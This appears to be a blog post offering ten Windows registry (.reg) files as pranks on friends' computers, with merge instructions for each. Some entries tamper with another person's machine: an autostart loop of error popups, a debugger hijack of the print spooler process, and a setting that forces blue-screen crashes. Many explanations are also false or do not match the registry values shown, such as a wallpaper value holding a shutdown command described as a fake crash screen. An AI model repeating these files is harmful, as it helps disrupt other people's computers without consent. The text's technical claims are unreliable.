Posted by Registry Editor (.reg) files are used in Windows to modify registry settings, which control various aspects of the operating system and installed software. While typically used for serious system configurations, .reg files can also be leveraged for harmless pranks and jokes among friends. In this blog post, we’ll explore ten entertaining .reg file pranks that you can use to surprise and amuse your friends. Remember to use these pranks responsibly and ensure they don’t cause any harm or inconvenience to anyone.
- Fake Blue Screen of Death (BSOD) Background:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Desktop]
"Wallpaper"="C:\\Windows\\System32\\shutdown.exe -r -t 00"
This .reg file sets the desktop wallpaper to a fake Blue Screen of Death (BSOD) image. When your friend logs in, they’ll think their computer has crashed. To execute this prank:
- Open Notepad on your computer.
- Copy and paste the above code into Notepad.
- Save the file with a “.reg” extension (e.g., “fakeBSOD.reg”).
- Double-click the saved file to merge it into the registry.
- Endless Error Messages:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"EndlessErrors"="cmd.exe /c start /MIN cmd.exe /k \"FOR /L %i IN (1,0,1) DO @msg * \"Error: Unable to locate file.\"\""
This .reg file creates a startup entry that launches an endless loop of error messages. Your friend will think their computer is encountering constant errors. Follow the same steps as above to execute this prank.
- Mouse Invert:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Mouse]
"SwapMouseButtons"="1"
This .reg file swaps the primary and secondary mouse buttons, causing confusion when your friend tries to click. To execute this prank, follow the same steps as above.
- Constant Beeping:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Sound]
"Beep"="C:\\Windows\\Media\\Alarm01.wav"
This .reg file changes the system beep sound to an annoying alarm sound, which will constantly beep whenever an error or warning message is displayed. Your friend will be puzzled by the continuous beeping. Follow the same steps as above to execute this prank.
- Endless Restart Loop:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoRestartShell"=dword:00000001
This .reg file configures the system to automatically restart the shell (explorer.exe) upon termination, creating an endless loop of restarting. Your friend will find it impossible to use their computer normally. Execute this prank by following the steps mentioned earlier.
- Keyboard Swap:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid\Parameters]
"CrashOnCtrlScroll"=dword:00000001
This .reg file activates the CrashOnCtrlScroll feature, which triggers a blue screen of death (BSOD) when your friend presses the Ctrl key and scrolls the mouse wheel simultaneously. Your friend will be bewildered by the sudden crashes. Execute this prank by following the steps mentioned earlier.
- Fake Broken Desktop Icons:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer]
"MaxIconsCache"=dword:00000000
This .reg file disables the icon cache, causing desktop icons to appear broken or missing. Your friend will think their desktop is corrupted or infected. Execute this prank by following the steps mentioned earlier.
- Reverse Scrolling Direction:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Wisp\Touch]
"TouchMode_hold"=dword:00000001
This .reg file reverses the scrolling direction on touch devices, confusing your friend when they try to scroll through documents or web pages. Execute this prank by following the steps mentioned earlier.
- Uncontrollable Volume:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Multimedia]
"Audio"="C:\\Windows\\Media\\ding.wav"
This .reg file sets the system sound to the “ding” sound file, which plays continuously at full volume. Your friend will struggle to control the volume as it keeps blaring out. Execute this prank by following the steps mentioned earlier.
- Fake Printer Spooler Errors:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe]
"Debugger"="cmd /c echo Printer spooler service is not running! && timeout /t 5"
This .reg file sets up a debugger for the printer spooler service, displaying fake error messages every time the service is accessed. Your friend will think their printer is malfunctioning. Execute this prank by following the steps mentioned earlier.
Conclusion:
These ten .reg file pranks are just a glimpse of the mischief you can create using Registry Editor. However, always remember to use these pranks responsibly and ensure they don’t cause any harm or inconvenience to others. Have fun pranking your friends, but do so with caution and consideration!
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